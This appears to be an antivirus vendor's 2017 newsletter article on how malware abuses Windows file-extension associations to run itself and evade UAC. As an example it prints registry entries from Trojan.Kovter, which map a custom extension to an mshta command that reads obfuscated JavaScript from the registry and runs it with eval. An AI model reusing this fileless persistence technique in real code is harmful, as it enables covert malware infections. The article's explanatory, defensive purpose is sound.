The Anti-virus Times

Thursday, September 21, 2017

We’ve already described how cybercriminals use file extensions to cheat users—see the issue “Three letters after the dot”. But our discussion there about the opportunities extensions give attackers was far from exhaustive.

As we already mentioned, the operating system associates an extension with certain actions that will be performed if a user clicks on the file. For example, if the file in question has the “.png” extension, you’ll likely launch a program for viewing or editing graphics files. What will happen if, for example, you click on a file that has the ".torrent" extension?

In other words, by clicking on the link, you’ll launch a malicious program. And most likely you'll also confirm the application’s launch, thinking that you are running a torrent.

Of course, the Windows user account control (UAC) system will show what’s actually launching, but fraudsters can use extensions to bypass it.

Cybercriminals take advantage of the fact that a number of system programs are downloaded with elevated privileges, and malicious files are launched in their place or in the form of their extensions.

How is the association made? It’s pretty simple. For example, the bodiless Trojan.Kovter.297 registers files that have the extensions it needs and uses them as switches (triggers) for its launch.

SET "#reg_any" Key="\REGISTRY\USER\S-1-5-21-2963211352-318565981-831850675-1001_CLASSES\.2c1a69e" Value="" Type=1 Data=bf1570\0

SET "#reg_any" Key="\REGISTRY\USER\S-1-5-21-2963211352-318565981-831850675-1001_CLASSES\bf1570\shell\open\command" Value="" Type=1 Data=mshta "javascript:qZ7sOhCI8q="EHHH";n7x=new ActiveXObject("WScript.Shell");DsJb4wGJs4="BtEe";j1ZSp8=n7x.RegRead("HKCU\\software\\isidaqnf\\amqoasyj");k7pfpsNfb="1beAz2j";eval(j1ZSp8);EHJ71gfGFX="2OxujZ1jpC";"

The most harmless thing virus writers probably do with extensions involves the file association created by malware to notify victims they need to pay a ransom.